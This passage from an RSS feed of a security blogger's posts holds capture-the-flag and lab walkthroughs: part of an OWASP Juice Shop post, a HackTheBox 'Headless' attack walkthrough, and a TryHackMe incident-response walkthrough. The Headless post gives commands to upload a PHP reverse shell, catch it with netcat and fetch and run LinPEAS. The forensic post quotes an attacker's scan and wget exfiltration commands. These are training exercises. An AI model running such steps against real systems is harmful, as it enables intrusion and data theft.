&lt;strong&gt;Exploit Sensitive Data Exposure:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;If you find any hints or exposed credentials for Amy, use them to log in.&lt;/li&gt;
&lt;li&gt;Commonly, sensitive data exposure can be found in &lt;code&gt;/ftp&lt;/code&gt; or &lt;code&gt;/logs&lt;/code&gt; directories within the application. Navigate to these paths in the browser or through captured traffic to look for clues.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Log in with Amy's Credentials:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;Once you have identified Amy’s credentials, go back to the login page at &lt;code&gt;http://localhost:3000/#/login&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Enter Amy’s email and the password you have found.&lt;/li&gt;
&lt;li&gt;Submit the form to log in.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Explanation
&lt;/h3&gt;

&lt;h3&gt;
  
  
  Why These Methods Work
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Sensitive Data Exposure:&lt;/strong&gt; Developers sometimes leave sensitive information exposed in comments, debug logs, or misconfigured endpoints. By inspecting network traffic and source code, these pieces of information can be uncovered.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Intercepting Requests:&lt;/strong&gt; Burp Suite allows you to capture and analyze HTTP requests and responses, making it easier to identify and exploit vulnerabilities.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Importance of Protecting Sensitive Data
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Ensuring sensitive data is not exposed through comments, logs, or API responses is crucial for maintaining application security.&lt;/li&gt;
&lt;li&gt;Proper data handling and encryption practices should be implemented to protect user credentials and other sensitive information.&lt;/li&gt;
&lt;/ul&gt;

</description>
    </item>
    <item>
      <title>HackTheBox Headles Walkthrough</title>
      <dc:creator>haXarubiX</dc:creator>
      <pubDate>Sat, 07 Dec 2024 23:25:42 +0000</pubDate>
      <link>https://dev.to/hax/hackthebox-headles-walkthrough-28bk</link>
      <guid>https://dev.to/hax/hackthebox-headles-walkthrough-28bk</guid>
      <description>&lt;h1&gt;
  
  
  Headless
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;Step 1: Reconnaissance&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Start by scanning the machine with &lt;strong&gt;Nmap&lt;/strong&gt; to identify open ports and services.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-oN&lt;/span&gt; headless.nmap &amp;lt;machine-ip&amp;gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;sC&lt;/code&gt;: Run default scripts.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;sV&lt;/code&gt;: Detect service versions.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;oN&lt;/code&gt;: Output scan results to a file.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Expected Output:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
80/tcp  open  http    Apache httpd 2.4.25 (Debian)

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;From the scan, we learn that the server is running &lt;strong&gt;SSH&lt;/strong&gt; on port 22 and &lt;strong&gt;Apache HTTP&lt;/strong&gt; on port 80.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 2: Web Enumeration&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Let’s check the web server on port 80 by navigating to &lt;code&gt;http://&amp;lt;machine-ip&amp;gt;&lt;/code&gt; in your browser. You should see a basic web page. Next, we’ll use &lt;strong&gt;Gobuster&lt;/strong&gt; to enumerate directories.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gobuster &lt;span class="nb"&gt;dir&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; http://&amp;lt;machine-ip&amp;gt; &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt &lt;span class="nt"&gt;-x&lt;/span&gt; php,html,txt

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Expected Output:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/.hta                 (Status: 403) [Size: 294]
/.htaccess            (Status: 403) [Size: 294]
/.htpasswd            (Status: 403) [Size: 294]
/robots.txt           (Status: 200) [Size: 28]

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There is a &lt;strong&gt;robots.txt&lt;/strong&gt; file. Let’s inspect it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://&amp;lt;machine-ip&amp;gt;/robots.txt

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Expected Output:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;User-agent: *
Disallow: /upload

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This file disallows access to the &lt;code&gt;/upload&lt;/code&gt; directory, which is worth checking out. Visit &lt;code&gt;http://&amp;lt;machine-ip&amp;gt;/upload&lt;/code&gt; in your browser, and you should find an upload form.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 3: Exploiting the File Upload&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Try uploading a simple &lt;strong&gt;PHP reverse shell&lt;/strong&gt; to the server. You can get one from &lt;strong&gt;PentestMonkey&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;First, download the reverse shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wget &amp;lt;https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php&amp;gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Open the file and modify the IP address and port to match your attacking machine:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nano php-reverse-shell.php

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Change:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'your-ip'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// IP address of your machine&lt;/span&gt;
&lt;span class="nv"&gt;$port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;4444&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;   &lt;span class="c1"&gt;// Port on which your listener will run&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, attempt to upload the PHP shell via the web form. Once uploaded, you can access it through the URL:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;http://&amp;lt;machine-ip&amp;gt;/upload/your_shell.php

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But before visiting the URL, set up a listener on your machine using &lt;strong&gt;Netcat&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc &lt;span class="nt"&gt;-lvnp&lt;/span&gt; 4444

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the upload is successful, visiting the PHP file should trigger the reverse shell, and you should get a connection.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 4: Gaining a Shell&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Once you have a reverse shell, stabilize it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'import pty; pty.spawn("/bin/bash")'&lt;/span&gt;
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;TERM&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;xterm

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 5: Privilege Escalation&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Let’s enumerate the system for privilege escalation possibilities. Start by checking &lt;strong&gt;sudo&lt;/strong&gt; privileges:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If no immediate &lt;strong&gt;sudo&lt;/strong&gt; privileges are available, check for &lt;strong&gt;SUID&lt;/strong&gt; binaries:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;find / &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;s &lt;span class="nt"&gt;-type&lt;/span&gt; f 2&amp;gt;/dev/null

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Alternatively, you can use &lt;strong&gt;LinPEAS&lt;/strong&gt; to automate the enumeration process. Download and execute it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wget &amp;lt;https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh&amp;gt;
&lt;span class="nb"&gt;chmod&lt;/span&gt; +x linpeas.sh
./linpeas.sh

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 6: Exploiting a Vulnerability&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;During the enumeration, you may find an exploitable vulnerability, such as a misconfigured service, outdated software, or a SUID binary that can be abused for privilege escalation. Follow through with the appropriate exploit method depending on the findings.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 7: Capture the Flags&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Once you escalate privileges to &lt;strong&gt;root&lt;/strong&gt;, navigate to the home directories to find the flags.&lt;/p&gt;

&lt;p&gt;For the &lt;strong&gt;user flag&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /home/&amp;lt;username&amp;gt;/user.txt

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For the &lt;strong&gt;root flag&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /root/root.txt

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;With that, you’ve completed the &lt;strong&gt;Headless&lt;/strong&gt; box on Hack The Box. Remember, the specific vulnerability exploited might vary based on enumeration results, so always adapt based on what you find during enumeration.&lt;/p&gt;

</description>
      <category>tutorial</category>
      <category>security</category>
    </item>
    <item>
      <title>TryHackMe API Wizard Breach Walkthrough</title>
      <dc:creator>haXarubiX</dc:creator>
      <pubDate>Tue, 05 Nov 2024 06:30:31 +0000</pubDate>
      <link>https://dev.to/hax/tryhackme-api-wizard-breach-walkthrough-525</link>
      <guid>https://dev.to/hax/tryhackme-api-wizard-breach-walkthrough-525</guid>
      <description>&lt;h2&gt;
  
  
  Task 1: Preparation
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Step 1.1 SSH into the Machine
&lt;/h3&gt;

&lt;p&gt;SSH into the box with the credentials provided.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh &amp;lt;username&amp;gt;@&amp;lt;IP_address&amp;gt;
&lt;span class="c"&gt;# Replace &amp;lt;username&amp;gt; and &amp;lt;IP_address&amp;gt; with the values given&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Task 2: Initial Access
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Question 1: Which programming language is the web application written in?
&lt;/h3&gt;

&lt;p&gt;Navigate through the directories to find the application’s code.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; /home/support/api_service
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Answer: &lt;strong&gt;Python&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Question 2: What is the IP address that attacked the web server?
&lt;/h3&gt;

&lt;p&gt;The web server uses NGINX, so we can check its logs for suspicious activity.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; /var/log/nginx
&lt;span class="nb"&gt;tail&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; 10 access.log.1

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Look for commands like &lt;code&gt;whoami&lt;/code&gt;, &lt;code&gt;pwd&lt;/code&gt;, or &lt;code&gt;id&lt;/code&gt;, which indicate enumeration attempts by an attacker.&lt;/p&gt;

&lt;p&gt;Answer: &lt;strong&gt;149.34.244.142&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Question 3: Which vulnerability was found and exploited in the API service?
&lt;/h3&gt;

&lt;p&gt;Inspect the &lt;code&gt;api.py&lt;/code&gt; source code for vulnerabilities, particularly around command handling.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /home/support/api_service/api.py

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Answer: &lt;strong&gt;OS command injection&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Question 4: Which file contained the credentials used to privilege escalate to root?
&lt;/h3&gt;

&lt;p&gt;Examine the configuration file for any stored credentials.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /home/dev/apiservice/src/config.py

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Answer: &lt;strong&gt;/home/dev/apiservice/src/config.py&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Question 5: What file did the hacker drop and execute to persist on the server?
&lt;/h3&gt;

&lt;p&gt;Check the bash history to uncover any evidence of files dropped.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;su
&lt;span class="nb"&gt;cat&lt;/span&gt; /root/.bash_history

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Answer: &lt;strong&gt;/tmp/rooter2&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Question 6: Which service was used to host the “rooter2” malware?
&lt;/h3&gt;

&lt;p&gt;In &lt;code&gt;.bash_history&lt;/code&gt;, look for commands involving file uploads or downloads.&lt;/p&gt;

&lt;p&gt;Answer: &lt;a href="http://transfer.sh/" rel="noopener noreferrer"&gt;&lt;strong&gt;transfer.sh&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Task 3: Further Actions
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Question 7: Which two system files were infected to achieve cron persistence?
&lt;/h3&gt;

&lt;p&gt;Check &lt;code&gt;crontab&lt;/code&gt; and environment files for unauthorized entries.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/crontab
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/environment

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Answer: &lt;strong&gt;/etc/crontab, /etc/environment&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Question 8: What is the C2 server IP address of the malicious actor?
&lt;/h3&gt;

&lt;p&gt;Locate the IP address associated with the &lt;code&gt;SYSTEMUPDATE&lt;/code&gt; variable in &lt;code&gt;/etc/environment&lt;/code&gt; or other files identified in bash history.&lt;/p&gt;

&lt;p&gt;Answer: &lt;strong&gt;5.230.66.147&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Question 9: What port is the backdoored bind bash shell listening on?
&lt;/h3&gt;

&lt;p&gt;Use &lt;code&gt;ps&lt;/code&gt; to check running processes for a netcat listener.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ps &lt;span class="nt"&gt;-aux&lt;/span&gt; | &lt;span class="nb"&gt;grep &lt;/span&gt;nc

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Answer: &lt;strong&gt;3578&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Question 10: How does the bind shell persist across reboots?
&lt;/h3&gt;

&lt;p&gt;Locate the systemd service created by the attacker.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-R&lt;/span&gt; &lt;span class="s2"&gt;"nc -l"&lt;/span&gt; /

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Answer: &lt;strong&gt;systemd service&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Question 11: What is the absolute path of the malicious service?
&lt;/h3&gt;

&lt;p&gt;Find the absolute path from the output of the &lt;code&gt;grep&lt;/code&gt; command above.&lt;/p&gt;

&lt;p&gt;Answer: &lt;strong&gt;/etc/systemd/system/socket.service&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Task 4: Even More Persistence
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Question 12: Which port is blocked on the victim’s firewall?
&lt;/h3&gt;

&lt;p&gt;Use &lt;code&gt;iptables&lt;/code&gt; to examine the firewall configuration.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;iptables &lt;span class="nt"&gt;-L&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Answer: &lt;strong&gt;3578&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Question 13: How do the firewall rules persist across reboots?
&lt;/h3&gt;

&lt;p&gt;Check the root user's bash configuration files for persistence mechanisms.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /root/.bashrc

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Answer: &lt;strong&gt;/root/.bashrc&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Question 14: How is the backdoored local Linux user named?
&lt;/h3&gt;

&lt;p&gt;Inspect the &lt;code&gt;/etc/passwd&lt;/code&gt; file for unusual user entries.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"/bin/bash"&lt;/span&gt; /etc/passwd

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Answer: &lt;strong&gt;support&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Question 15: Which privileged group was assigned to the user?
&lt;/h3&gt;

&lt;p&gt;Use the &lt;code&gt;groups&lt;/code&gt; command to list group memberships for the user.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;groups &lt;/span&gt;support

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Answer: &lt;strong&gt;sudo&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Question 16: What is the strange word on one of the backdoored SSH keys?
&lt;/h3&gt;

&lt;p&gt;View the &lt;code&gt;authorized_keys&lt;/code&gt; file in the root user’s SSH directory.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /root/.ssh/authorized_keys

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Answer: &lt;strong&gt;ntsvc&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Question 17: Can you spot and name one more popular persistence method? Not a MITRE technique name.
&lt;/h3&gt;

&lt;p&gt;Check for files with the SUID bit set.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;find / &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;s &lt;span class="nt"&gt;-type&lt;/span&gt; f 2&amp;gt;/dev/null

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Answer: &lt;strong&gt;SUID binary&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Question 18: What are the original and the backdoored binaries from question 6?
&lt;/h3&gt;

&lt;p&gt;Verify the integrity of the suspected binary.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt; /usr/bin/clamav
dpkg &lt;span class="nt"&gt;--verify&lt;/span&gt; clamav

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Answer: &lt;strong&gt;/usr/bin/bash, /usr/bin/clamav&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Question 19: What technique was used to hide the backdoor creation date?
&lt;/h3&gt;

&lt;p&gt;Identify timestamp modification.&lt;/p&gt;

&lt;p&gt;Answer: &lt;strong&gt;Timestomping&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Task 5: Final Target
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Question 20: What file was dropped which contained gathered victim information?
&lt;/h3&gt;

&lt;p&gt;Check root’s &lt;code&gt;.bash_history&lt;/code&gt; for evidence of dropped files.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /root/.bash_history

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Answer: &lt;strong&gt;/root/.dump.json&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Question 21: According to the dropped dump, what is the server’s kernel version?
&lt;/h3&gt;

&lt;p&gt;Decode and inspect &lt;code&gt;.dump.json&lt;/code&gt; for details.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /root/.dump.json | &lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Answer: &lt;strong&gt;5.15.0–78-generic&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Question 22: Which active internal IPs were found by the “rooter2” network scan?
&lt;/h3&gt;

&lt;p&gt;Identify internal IPs from the dump.&lt;/p&gt;

&lt;p&gt;Answer: &lt;strong&gt;192.168.0.21,192.168.0.22&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Question 23: How did the hacker find an exposed HTTP index on another internal IP?
&lt;/h3&gt;

&lt;p&gt;Check the history for a network scan command.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s2"&gt;"nc -zv"&lt;/span&gt; /root/.bash_history

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Answer: &lt;strong&gt;nc -zv 192.168.0.22 1024-10000 2&amp;gt;&amp;amp;1 | grep -v failed&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Question 24: What command was used to exfiltrate the CDE database from the internal IP?
&lt;/h3&gt;

&lt;p&gt;Locate the &lt;code&gt;wget&lt;/code&gt; command in the history.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"wget"&lt;/span&gt; /root/.bash_history

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Answer: &lt;strong&gt;wget 192.168.0.22:8080/cde-backup.csv&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Question 25: What is the most secret and precious string stored in the exfiltrated database?
&lt;/h3&gt;

&lt;p&gt;Inspect the contents of the exfiltrated &lt;code&gt;.review.csv&lt;/code&gt; file.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; .review.csv | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; 10

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Answer: &lt;strong&gt;pwned{v3ry-secur3-cardh0ld3r-data-environm3nt}&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Another skill acquired, another challenge conquered in the Rubixverse. Keep hacking the limits... until the next hack.
&lt;/h3&gt;

</description>
      <category>cybersecurity</category>
      <category>tutorial</category>
      <category>learning</category>
    </item>
    <item>
      <title>OWASP Juice Shop DOM XSS Walkthrough &lt;OWASP-JS Pt.2&gt;</title>
      <dc:creator>haXarubiX</dc:creator>
      <pubDate>Mon, 21 Oct 2024 02:52:07 +0000</pubDate>
      <link>https://dev.to/hax/owasp-juice-shop-dom-xss-walkthrough-51d7</link>
      <guid>https://dev.to/hax/owasp-juice-shop-dom-xss-walkthrough-51d7</guid>
      <description>&lt;p&gt;Let's dive into setting up and exploring the first two vulnerabilities in OWASP Juice Shop: &lt;strong&gt;Scoreboard&lt;/strong&gt; and &lt;strong&gt;DOM XSS&lt;/strong&gt;. Without accessing &lt;/p&gt;

&lt;h3&gt;
  
  
  Setting Up Juice Shop with Docker (Quick Recap)
&lt;/h3&gt;

&lt;p&gt;If you haven't already set up Juice Shop using Docker, here's a quick recap:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Pull the Juice Shop image&lt;/strong&gt;:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
